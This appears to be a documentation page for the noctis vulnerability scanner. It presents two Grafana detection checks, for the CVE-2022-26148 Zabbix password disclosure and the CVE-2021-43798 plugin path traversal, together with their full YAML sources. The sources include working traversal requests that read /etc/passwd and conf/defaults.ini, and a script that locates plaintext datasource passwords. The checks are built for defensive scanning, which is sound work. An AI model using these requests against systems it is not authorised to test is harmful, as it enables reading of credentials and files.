Grafana — 2 vulnerability checks
noctis ships 2 vulnerability checks for Grafana, covering 2 CVEs; each one has to observe the bug on the live service before it reports a finding.
← All products · Feeds on GitHub
Grafana Zabbix Datasource Password Disclosure
| CVE | CVE-2022-26148 |
|---|---|
| Severity | critical · CVSS 9.8 |
| Category | exposure — Exposure |
| Services | http, https |
| Detection | http_request, script, match · highest QoD 75 |
| Feed | tests/vulnerabilities/grafana/CVE-2022-26148.yaml |
Reads Grafana's bootData (window.grafanaBootData) from `/` and `/login`, unauthenticated and — when the scan request carries credentials — as a logged-in viewer, and reports a Zabbix datasource whose jsonData carries a plaintext `password` (QoD 75). The password itself is never put in the finding.
How noctis detects it
- HTTP(S) request
GET / - HTTP(S) request
GET /login?redirect=%2F - Parses / computes the next value with a Rhai script
- HTTP(S) request
GET / - Parses / computes the next value with a Rhai script
- Checks
leak.summaryfor^Zabbix datasource jsonData\.password exposed: [1-9]→ finding QoD 75: Grafana discloses the plaintext Zabbix API password in window.grafanaBootData (…): … Zabbix datasource(s) with a non-empty jsonData.passwor…
References:
- https://nvd.nist.gov/vuln/detail/CVE-2022-26148
- https://2k8.org/post-319.html
- https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2022/CVE-2022-26148.yaml
Feed source — tests/vulnerabilities/grafana/CVE-2022-26148.yaml
# Grafana + Zabbix datasource — plaintext Zabbix password in grafanaBootData — CVE-2022-26148
#
# Grafana renders every datasource's `jsonData` into `window.grafanaBootData` on the index /
# login page, for any viewer of the org. The Zabbix datasource plugin (alexanderzobnin-zabbix-
# datasource) stored its Zabbix API password in `jsonData` instead of `secureJsonData`, so the
# plaintext Zabbix account password is in the page source of Grafana (NVD: through 7.3.4) —
# readable unauthenticated when anonymous access is on, and by every logged-in viewer otherwise.
#
# Ported from OpenVAS/Greenbone NASL 2022/grafana/gb_grafana_info_discl_vuln_feb22.nasl
# (GPL-2.0-only, Greenbone Community Feed): GET `/`, match `"password":"[^"]+"` with the extra
# check `"name":"Zabbix"`. Verified against a real grafana/grafana:7.3.4 + Zabbix plugin 4.0.2
# instance (provisioned datasource with jsonData.password).
#
# Improvements over the NASL:
# - The password must sit inside the jsonData of a datasource whose plugin is the Zabbix one
# (same bootData object), not anywhere on a page that also mentions "Zabbix" — a password
# of another datasource type next to a correctly configured Zabbix datasource is no FP.
# - Also probes `/login?redirect=%2F` (the Nuclei path) and follows `/`'s redirect.
# - Optional authenticated branch: with scan `credentials` it re-reads `/` as a logged-in
# viewer (HTTP Basic, or Bearer for an API token) — the CVE's own scenario, which the
# unauthenticated-only NASL misses entirely when anonymous access is off.
# - The leaked password is never copied into the finding (the NASL prints it): the match runs
# on a summary string that carries only the datasource count and password length.
#
# Read-only: two or three GETs of the Grafana home / login page. The proof of exploitation is
# the disclosed credential itself (a non-empty jsonData.password of a Zabbix datasource).
uid: e26b96c8-24f6-4b8d-81fe-2341faf4c6e0
name: "Grafana Zabbix Datasource Password Disclosure (CVE-2022-26148)"
description: |
Reads Grafana's bootData (window.grafanaBootData) from `/` and `/login`, unauthenticated and —
when the scan request carries credentials — as a logged-in viewer, and reports a Zabbix
datasource whose jsonData carries a plaintext `password` (QoD 75). The password itself is
never put in the finding.
cves: [CVE-2022-26148]
cvss: 9.8
severity: critical
category: exposure
confidence_base: 0.30
tags: [grafana, zabbix, information-disclosure, credentials, exposure]
services: [http, https]
author: noctis
version: "1.0.0"
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2022-26148"
- "https://2k8.org/post-319.html"
- "OpenVAS NASL 2022/grafana/gb_grafana_info_discl_vuln_feb22.nasl (GPL-2.0-only)"
- "https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2022/CVE-2022-26148.yaml"
steps:
# ── 1. Unauthenticated: home page (follows the redirect to /login when anonymous is off) ──
- id: root
action: http_request
method: GET
path: "/"
port: "{{port}}"
tls_insecure: true
timeout_secs: 10
store_as: root
# ── 2. Unauthenticated: login page (the Nuclei path) ───────────────────────────────────────
- id: login
action: http_request
method: GET
path: "/login?redirect=%2F"
port: "{{port}}"
tls_insecure: true
timeout_secs: 10
store_as: login
# ── 3. Optional: Authorization header for a logged-in viewer ───────────────────────────────
# Grafana accepts HTTP Basic (auth.basic, on by default) and API-key Bearer tokens on every
# route, so no session cookie dance is needed.
- id: auth-header
action: script
condition: "cred_enabled"
code: |
let h = "";
if is_def_var("cred_token") {
h = "Bearer " + cred_token;
} else if is_def_var("cred_username") && is_def_var("cred_password") {
h = "Basic " + base64_encode(cred_username + ":" + cred_password);
}
h
store_as: authz
- id: authed-root
action: http_request
method: GET
path: "/"
port: "{{port}}"
tls_insecure: true
timeout_secs: 10
condition: "cred_enabled && authz != \"\""
headers:
Authorization: "{{authz}}"
store_as: authed
# ── 4. Parse grafanaBootData: a Zabbix datasource with jsonData.password ───────────────────
# Grafana marshals each datasource with sorted keys (id, jsonData, meta, name, type, url), so
# splitting on `"jsonData":{` gives one segment per datasource that starts with its jsonData
# and holds its own meta / type. The password must be a top-level key of that jsonData object
# (the regex cannot cross the object's closing brace) and the same segment must name the
# Zabbix plugin. Only counts and lengths leave this script — never the password.
- id: analyse
action: script
code: |
let probes = [];
if is_def_var("root") { probes.push(#{ r: root, where: "GET / (unauthenticated)" }); }
if is_def_var("login") { probes.push(#{ r: login, where: "GET /login?redirect=%2F (unauthenticated)" }); }
if is_def_var("authed") { probes.push(#{ r: authed, where: "GET / (authenticated viewer)" }); }
let out = #{ hit: false, summary: "", where: "", count: 0, lengths: "" };
for p in probes {
if out.hit { break; }
let r = p.r;
if r.status != 200 || type_of(r.body) != "string" { continue; }
if !r.body.contains("grafanaBootData") { continue; }
let segs = split(r.body, "\"jsonData\":{");
let lens = [];
for i in 1..segs.len() {
let seg = segs[i];
if !seg.contains("\"type\":\"alexanderzobnin-zabbix-datasource\"") { continue; }
let m = eregmatch("^(?:[^{}]|\\{[^{}]*\\})*?\"password\":\"((?:[^\"\\\\]|\\\\.)+)\"", seg);
if m.len() >= 2 { lens.push(strlen(m[1])); }
}
if lens.len() > 0 {
let l = "";
for x in lens { if l != "" { l += ","; } l += `${x}`; }
out.hit = true;
out.where = p.where;
out.count = lens.len();
out.lengths = l;
out.summary = `Zabbix datasource jsonData.password exposed: ${lens.len()} datasource(s), password length(s) ${l}`;
}
}
out
store_as: leak
# ── 5. Report — evidence carries no secret ─────────────────────────────────────────────────
- id: detect
action: match
condition: "leak.hit == true"
source: leak.summary
pattern: "^Zabbix datasource jsonData\\.password exposed: [1-9]"
on_match:
finding:
confidence_delta: 0.55
qod: 75
evidence: "Grafana discloses the plaintext Zabbix API password in window.grafanaBootData ({{leak.where}}): {{leak.count}} Zabbix datasource(s) with a non-empty jsonData.password (length(s) {{leak.lengths}}; value withheld)"
stop: trueGrafana Plugin Path Traversal Arbitrary File Read
| CVE | CVE-2021-43798 |
|---|---|
| Severity | high · CVSS 7.5 |
| Category | file-read — File read |
| Services | http, https |
| Detection | set_var, tcp_connect, match, script · highest QoD 75 |
| Feed | tests/vulnerabilities/grafana/CVE-2021-43798.yaml |
Tests Grafana 8.x for unauthenticated arbitrary file read via path traversal in /public/plugins/<name>/. The test requests /etc/passwd through the alertlist plugin directory (then, as a fallback, Grafana's conf/defaults.ini). When the file's content comes back, the same traversal is sent for an absent file in a random missing directory, and the finding is reported only when that control gets an HTTP reply without the file's content, so a server that answers every path with the same file is not reported.
How noctis detects it
- Raw TCP (TLS on HTTPS), sent verbatim:
GET /public/plugins/alertlist/../../../../../../../../../../../../../../../../../../../et… - Checks
traversal_resp.bannerforroot:.*:0:[0-9]+ - Raw TCP (TLS on HTTPS), sent verbatim:
GET /public/plugins/alertlist/../../../../../../../../../../../../../../../../../../../no… - Parses / computes the next value with a Rhai script
- Checks
lfi_filefor^/etc/passwd$→ finding QoD 75: Path traversal confirmed — /etc/passwd content returned by Grafana plugin endpoint; the same traversal for an absent file did not - Raw TCP (TLS on HTTPS), sent verbatim:
GET /public/plugins/alertlist/../../../../../conf/defaults.ini HTTP/1.0 - Raw TCP (TLS on HTTPS), sent verbatim:
GET /public/plugins/alertlist/../../../../../noctis-absent-{{oob_token}}/conf/defaults.in… - Parses / computes the next value with a Rhai script
- Checks
ini_resp.bannerfor\[paths\]|\[server\]|\[database\] - Checks
ini_filefor^conf/defaults\.ini$→ finding QoD 70: Path traversal confirmed — Grafana defaults.ini content leaked; the same traversal for an absent file did not
References:
- https://nvd.nist.gov/vuln/detail/CVE-2021-43798
- https://grafana.com/blog/2021/12/07/grafana-8.3.1-8.2.7-8.1.8-and-8.0.7-released-with-high-severity-security-fix/
- https://github.com/jas502n/Grafana-CVE-2021-43798
Feed source — tests/vulnerabilities/grafana/CVE-2021-43798.yaml
# Grafana 8.x Arbitrary File Read via Plugin Path Traversal — CVE-2021-43798
#
# Grafana 8.0.0-beta1 through 8.3.0 serves static plugin files under
# /public/plugins/<name>/ without sanitising `..` in the path. Any
# installed plugin name can be used as a traversal anchor, allowing an
# unauthenticated attacker to read arbitrary files (e.g. /etc/passwd,
# the Grafana SQLite database, or conf/defaults.ini).
#
# Note: reqwest normalises `../` sequences before sending, so this feed
# uses tcp_connect to send the raw traversal payload verbatim.
#
# Absent-file control (#2383): after a hit, the same traversal is sent for a
# file in a random missing directory with the same ending
# (noctis-absent-<random>/etc/passwd, noctis-absent-<random>/conf/defaults.ini);
# the finding is raised only when that control gets an HTTP reply without the
# file's content (fail closed), so a server that answers every path with the
# same file is not reported.
uid: 78d2f507-19ae-4097-ae62-3c5435eb7000
name: "Grafana Plugin Path Traversal Arbitrary File Read (CVE-2021-43798)"
description: |
Tests Grafana 8.x for unauthenticated arbitrary file read via path
traversal in /public/plugins/<name>/. The test requests /etc/passwd
through the alertlist plugin directory (then, as a fallback, Grafana's
conf/defaults.ini). When the file's content comes back, the same traversal
is sent for an absent file in a random missing directory, and the finding
is reported only when that control gets an HTTP reply without the file's
content, so a server that answers every path with the same file is not
reported.
cves: [CVE-2021-43798]
cvss: 7.5
severity: high
category: file-read
confidence_base: 0.20
tags: [grafana, path-traversal, lfi, file-read, kev]
services: [http, https]
author: noctis
version: "1.0.0"
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2021-43798"
- "https://grafana.com/blog/2021/12/07/grafana-8.3.1-8.2.7-8.1.8-and-8.0.7-released-with-high-severity-security-fix/"
- "https://github.com/jas502n/Grafana-CVE-2021-43798"
steps:
# Pre-initialised so a failed connect leaves an empty banner, not an
# undefined variable.
- id: init-traversal-resp
action: set_var
var_name: traversal_resp
var_value: {connected: false, banner: ""}
- id: init-ini-resp
action: set_var
var_name: ini_resp
var_value: {connected: false, banner: ""}
- id: init-ctrl-resp
action: set_var
var_name: ctrl_resp
var_value: {connected: false, banner: ""}
- id: init-ini-ctrl-resp
action: set_var
var_name: ini_ctrl_resp
var_value: {connected: false, banner: ""}
- id: init-lfi-file
action: set_var
var_name: lfi_file
var_value: ""
- id: init-ctrl-clean
action: set_var
var_name: ctrl_clean
var_value: false
- id: init-ini-clean
action: set_var
var_name: ini_clean
var_value: false
# ── Path traversal probe via raw TCP (reqwest would normalise ../) ────────
- id: traversal-probe
action: tcp_connect
port: "{{port}}"
send: "GET /public/plugins/alertlist/../../../../../../../../../../../../../../../../../../../etc/passwd HTTP/1.0\r\nHost: {{target_host}}\r\n\r\n"
store_as: traversal_resp
# No finding here: the reply is the passwd file. Raised below once the
# absent-file control is clean.
- id: passwd-match
action: match
source: traversal_resp.banner
pattern: "root:.*:0:[0-9]+"
on_match:
set_vars:
lfi_file: "/etc/passwd"
# A random missing directory, still ending in etc/passwd, so a honeypot that
# keys a fake file on that name answers it too. Grafana answers 404.
- id: passwd-control
action: tcp_connect
port: "{{port}}"
condition: 'lfi_file != ""'
send: "GET /public/plugins/alertlist/../../../../../../../../../../../../../../../../../../../noctis-absent-{{oob_token}}/etc/passwd HTTP/1.0\r\nHost: {{target_host}}\r\n\r\n"
store_as: ctrl_resp
# Fail closed: the control must have answered over HTTP, without passwd content.
- id: passwd-control-verdict
action: script
condition: 'lfi_file != ""'
code: |
let b = ctrl_resp.banner;
type_of(b) == "string" && ereg("^HTTP/1\\.[01] [0-9]{3}", b) && !ereg("root:[^:\\r\\n]*:0:[0-9]+", b)
store_as: ctrl_clean
- id: passwd-report
action: match
source: lfi_file
pattern: "^/etc/passwd$"
condition: "ctrl_clean == true"
on_match:
finding:
confidence_delta: 0.55
qod: 75
evidence: "Path traversal confirmed — /etc/passwd content returned by Grafana plugin endpoint; the same traversal for an absent file did not"
stop: true
# ── Fallback: Grafana defaults.ini ───────────────────────────────────────
- id: ini-probe
action: tcp_connect
port: "{{port}}"
send: "GET /public/plugins/alertlist/../../../../../conf/defaults.ini HTTP/1.0\r\nHost: {{target_host}}\r\n\r\n"
store_as: ini_resp
- id: ini-control
action: tcp_connect
port: "{{port}}"
condition: 'type_of(ini_resp.banner) == "string" && ereg("\\[paths\\]|\\[server\\]|\\[database\\]", ini_resp.banner)'
send: "GET /public/plugins/alertlist/../../../../../noctis-absent-{{oob_token}}/conf/defaults.ini HTTP/1.0\r\nHost: {{target_host}}\r\n\r\n"
store_as: ini_ctrl_resp
# Fail closed: the control must have answered over HTTP, without ini sections.
- id: ini-control-verdict
action: script
code: |
let b = ini_ctrl_resp.banner;
type_of(b) == "string" && ereg("^HTTP/1\\.[01] [0-9]{3}", b) && !ereg("\\[paths\\]|\\[server\\]|\\[database\\]", b)
store_as: ini_clean
- id: init-ini-file
action: set_var
var_name: ini_file
var_value: ""
# No finding here: the reply is the ini file (it may hold secrets) and must
# not become evidence.
- id: ini-match
action: match
source: ini_resp.banner
pattern: "\\[paths\\]|\\[server\\]|\\[database\\]"
condition: "ini_clean == true"
on_match:
set_vars:
ini_file: "conf/defaults.ini"
- id: ini-report
action: match
source: ini_file
pattern: "^conf/defaults\\.ini$"
on_match:
finding:
confidence_delta: 0.45
qod: 70
evidence: "Path traversal confirmed — Grafana defaults.ini content leaked; the same traversal for an absent file did not"
stop: true